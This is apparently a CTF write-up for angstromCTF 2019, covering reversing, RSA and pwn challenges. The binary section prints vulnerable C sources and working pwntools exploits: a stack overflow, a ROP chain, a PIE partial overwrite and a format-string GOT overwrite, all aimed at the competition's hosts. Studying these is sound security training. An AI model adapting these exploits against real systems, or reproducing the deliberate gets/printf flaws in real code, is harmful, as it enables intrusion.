Reversing:

One Bite [40pts]


Challenge binary takes input from the user; performs single byte xor with 0x3c key and then compares with the hardcoded string.

Let’s verify it with ltrace:

~> ltrace ./one_bite
__libc_start_main(0x4006a6, 1, 0x7ffe30270b48, 0x400780 <unfinished ...>
puts("Give me a flag to eat: "Give me a flag to eat: 
)                                                                                 = 24
fgets(aaaa
"aaaa\n", 34, 0x7efe4674b8e0)                                                                             = 0x7ffe30270a20
strlen("aaaa\n")                                                                                                = 5
strlen("]aaa\n")                                                                                                = 5
strlen("]]aa\n")                                                                                                = 5
strlen("]]]a\n")                                                                                                = 5
strlen("]]]]\n")                                                                                                = 5
strlen("]]]]6")                                                                                                 = 5
strcmp("]]]]6", "]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_W"...)                                                          = -2
puts("That didn't taste so good :("That didn't taste so good :(
)                                                                            = 29
+++ exited (status 0) +++

Solution:

str="]_HZGUcHTURWcUQc[SUR[cHSc^YcOU_WA"
flag=""

for i in str:
	flag += chr(ord(i)^0x3c)

print(flag)
'''
# result:
~> python onebite.py 
actf{i_think_im_going_to_be_sick}
'''

I Like It [60pts]

Let’s fire IDA free and check the binary:

To pass the first check we have to input the okrrrrrrr string:

~> ./i_like_it
I like the string that I'm thinking of: 
okrrrrrrr
I said I like it like that!
I like two integers that I'm thinking of (space separated): 

To pass next check we have to provide two integers and their sum must equal to 0x88 (136 decimal):

Furthermore, regarding to:

The multiplication result of the provided integers must equal to 0x0EC7 (3783 decimal).
We just have to find two integers which add up to 0x88 and the product of their multiplication is equal to 0x0EC7.

Let’s find factors of 3783:

import itertools

flatten_iter = itertools.chain.from_iterable
def factors(n):
    return set(flatten_iter((i, n//i) 
                for i in range(1, int(n**0.5)+1) if n % i == 0))
    
print factors(3783)

'''
# result:
~> python factors.py 
set([1, 3, 97, 3783, 39, 13, 1261, 291])
'''

97 + 39 == 136 and finally:

~> ./i_like_it
I like the string that I'm thinking of: 
okrrrrrrr
I said I like it like that!
I like two integers that I'm thinking of (space separated): 
39 97
I said I like it like that!
Flag: actf{okrrrrrrr_39_97}

High Quality Checks [110pts]


The binary performs multiple checks on our input; instead of going through all the checks we can use angr framework1 to automate this task and reach 0x400ACB.

Solution:

import angr

WIN=0x400ACB

s = angr.Project('./high_quality_checks', load_options={'auto_load_libs': False})
e = s.surveyors.Explorer(find=(WIN))
result = e.run()

for i in result.found:
    print i.state.posix.dumps(0)

'''
# result:
~> python high_quality_checks.py 
actf{fun_func710n5}
'''

Crypto

Really Secure Algorithm [30pts]


Straighforward RSA challenge. Knowing the primes p & q along with the public exponent e and ciphertext c we can calculate2 the plaintext:

from Crypto.Util.number import inverse

p = 8337989838551614633430029371803892077156162494012474856684174381868510024755832450406936717727195184311114937042673575494843631977970586746618123352329889
q = 7755060911995462151580541927524289685569492828780752345560845093073545403776129013139174889414744570087561926915046519199304042166351530778365529171009493
e = 65537
c = 7022848098469230958320047471938217952907600532361296142412318653611729265921488278588086423574875352145477376594391159805651080223698576708934993951618464460109422377329972737876060167903857613763294932326619266281725900497427458047861973153012506595691389361443123047595975834017549312356282859235890330349

n = p*q
phi = (p-1)*(q-1)

d = inverse(e,phi)
pt = pow(c,d,n)

print hex(int(pt))[2:-1].decode('hex')

'''
# result:
 ~> python rsa_solve.py 
actf{really_securent_algorithm}
''' 

Binary

Aquarium [50pts]


Vanilla stack overflow. The goal is to call flag function.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

struct fish_tank {
	char name[50];
	int fish;
	int fish_size;
	int water;
	int width;
	int length;
	int height;
};


struct fish_tank create_aquarium() {
	struct fish_tank tank;

	printf("Enter the number of fish in your fish tank: ");
	scanf("%d", &tank.fish);
	getchar();

	printf("Enter the size of the fish in your fish tank: ");
	scanf("%d", &tank.fish_size);
	getchar();

	printf("Enter the amount of water in your fish tank: ");
	scanf("%d", &tank.water);
	getchar();

	printf("Enter the width of your fish tank: ");
	scanf("%d", &tank.width);
	getchar();

	printf("Enter the length of your fish tank: ");
	scanf("%d", &tank.length);
	getchar();

	printf("Enter the height of your fish tank: ");
	scanf("%d", &tank.height);
	getchar();

	printf("Enter the name of your fish tank: ");
	char name[50];
	gets(name);

	strcpy(name, tank.name);
	return tank;
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	struct fish_tank tank;

	tank = create_aquarium();

	if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) {
		printf("Your fish tank has overflowed!\n");
		return 1;
	}

	printf("Nice fish tank you have there.\n");

	return 0;
}

Solution:

from pwn import *

s = remote("shell.actf.co",19305)

payload = "1\n"*6
payload += "A"*152+p64(0x4011b6)

s.sendline(payload)
s.interactive()

'''
# result:
$ python aquarium.py
Enter the number of fish in your fish tank: Enter the size of the fish in your fish tank: Enter the amount of water in your fish tank: Enter the width of your fish tank: Enter the length of your fish tank: Enter the height of your fish tank: Enter the name of your fish tank: actf{overflowed_more_than_just_a_fish_tank}
Segmentation fault (core dumped)
$  
'''

Chain Of Rope [80pts]


Source code of the challenge:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int userToken = 0;
int balance = 0;

int authorize () {
	userToken = 0x1337;
	return 0;
}

int addBalance (int pin) {
	if (userToken == 0x1337 && pin == 0xdeadbeef) {
		balance = 0x4242;
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

int flag (int pin, int secret) {
	if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) {
		printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n");
		system("/bin/cat flag.txt");
	} else {
		printf("ACCESS DENIED\n");
	}
	return 0;
}

void getInfo () {
	printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance);
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	char name [32];
	printf("--== ROPE CHAIN BLACK MARKET ==--\n");
	printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n");
	printf("What would you like to do?\n");
	printf("1 - Set name\n");
	printf("2 - Get user info\n");
	printf("3 - Grant access\n");
	int choice;
	scanf("%d\n", &choice);
	if (choice == 1) {
		gets(name);
	} else if (choice == 2) {
		getInfo();
	} else if (choice == 3) {
		printf("lmao no\n");
	} else {
		printf("I don't know what you're saying so get out of my black market\n");
	}
	return 0;
}

Challange has two solutions. One of them is to craft a proper ROP chain that will call flag function with the proper arguments, howerver, it is also possible to directly jump to 0x401231, setup RDI register and call system("/bin/cat flag.txt");

Intended solution:

from pwn import *

s = remote("shell.actf.co",19400)

payload = "A"*56
payload += p64(0x401196) # call authorize(), userToken = 1337
payload += p64(0x401403) # pop rdi; ret
payload += p64(0xdeadbeef) 
payload += p64(0x4011ab) # call addBalance(0xdeadbeef)
payload += p64(0x401403) # pop rdi; ret
payload += p64(0xba5eba11)
payload += p64(0x401401) # pop rsi; pop r15; ret
payload += p64(0xbedabb1e)
payload += p64(0)
payload += p64(0x4011eb) # call flag(0xba5eba11,0xbedabb1e)

s.sendlineafter("?","1")
s.sendline(payload)
s.interactive()

Quick win solution:

~> python -c 'print "1\n"+"A"*56+"\x31\x12\x40\x00\x00\x00\x00"' | nc shell.actf.co 19400 
--== ROPE CHAIN BLACK MARKET ==--
LIMITED TIME OFFER: Sending free flag along with any purchase.
What would you like to do?
1 - Set name
2 - Get user info
3 - Grant access
actf{dark_web_bargains}Bus error (core dumped)

Pie Shop [100pts]


Challenge source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

void get_pie() {
	printf("What type of pie do you want? ");

	char pie[50];
	gets(pie);

	if (strcmp(pie, "apple") == 0) {
		printf("Here's your pie!\n");
		printf("      _,..---..,_\n");
		printf("  ,-\"`    .'.    `\"-,\n");
		printf(" ((      '.'.'      ))\n");
		printf("  `'-.,_   '   _,.-'`\n");
		printf("    `\\  `\"\"\"\"\"`  /`\n");
		printf("      `\"\"-----\"\"`\n");
	} else {
		printf("Whoops, looks like we're out of that one.\n");
	}
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	printf("Welcome to the pie shop! Here we have all types of pies: apple pies, peach pies, blueberry pies, position independent executables, pumpkin pies, rhubarb pies...\n");
	get_pie();

	return 0;
}
$ file pie_shop 
pie_shop: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9318df53faeaad841153110c8ded995df882498b, not stripped

(gdb) checksec
[+] checksec for '/home/ubuntu/data/pie_shop'
Canary                        : No
NX                            : Yes
PIE                           : Yes
Fortify                       : No
RelRO                         : Partial

We are dealing with the PIE (Position Independed Executable) enabled binary.
Even though we have full controll over the return address and a quick win flag function, the binary will be mapped on random address in the memory, thus, flag function address will be random on each runtime:

$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'x flag' ./pie_shop
Temporary breakpoint 1 at 0x1266

Temporary breakpoint 1, 0x000055b312c39266 in main ()
0x55b312c391a9 <flag>:	0xe5894855

$ gdb -batch -nh -ex 'set disable-randomization off' -ex 'start' -ex 'x flag' ./pie_shop
Temporary breakpoint 1 at 0x1266

Temporary breakpoint 1, 0x00005602214f7266 in main ()
0x5602214f71a9 <flag>:	0xe5894855

After spending some time I realized that I can give partial overwrite a try. We have control over 2 least significant bytes of the rip, however, our input is not alligned and the null byte will be appended (8 byte values on the stack).

Offset to the flag function:

$ readelf -s ./pie_shop | grep flag
    72: 00000000000011a9    19 FUNC    GLOBAL DEFAULT   13 flag

The null byte will be appended automatically due to the aligment issue, therefore, we should set 2 least significant bytes to: 11a9 and execute it hundreds/thousend times.

After coffee and a south park episode the flag arrived:

[redacted]@actf:/problems/2019/pie_shop$ python /tmp/[redacted]
Whoops, looks like we're out of that one.
actf{a_different_kind_of_pie}

Solution:

from pwn import *

context.log_level = "error"

payload = ""
payload += "A"*72
payload += "\xa9\x11"

while True:
	p = process("/problems/2019/pie_shop/pie_shop")
	p.sendlineafter("? ",payload)
	d = p.recvall()
	p.close()
	if 'actf' in d:
		print d

Purchases [120pts]


Challenge source code:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	char item[60];
	printf("What item would you like to purchase? ");
	fgets(item, sizeof(item), stdin);
	item[strlen(item)-1] = 0;

	if (strcmp(item, "nothing") == 0) {
		printf("Then why did you even come here? ");
	} else {
		printf("You don't have any money to buy ");
		printf(item);
		printf("s. You're wasting your time! We don't even sell ");
		printf(item);
		printf("s. Leave this place and buy ");
		printf(item);
		printf(" somewhere else. ");
	}

	printf("Get out!\n");
	return 0;
}

It’s a vanilla format string vulnerability.
We have to overwrite the GOT entry for the puts function with the flag function address.

Quick & dirty solution (we are going to get ~12MB of data back) with single write:

from pwn import *

p = remote('shell.actf.co',19011)

payload = ""
payload += "%4198838u%10$n"+"AA"
payload += "\x18\x40\x40"

p.sendline(payload)
print(p.recvall()[-26:])

'''
~> python purchases.py
[+] Opening connection to shell.actf.co on port 19011: Done
[+] Receiving all data: Done (12.01MB)
[*] Closed connection to shell.actf.co port 19011
actf{limited_edition_flag}
'''

To be continued..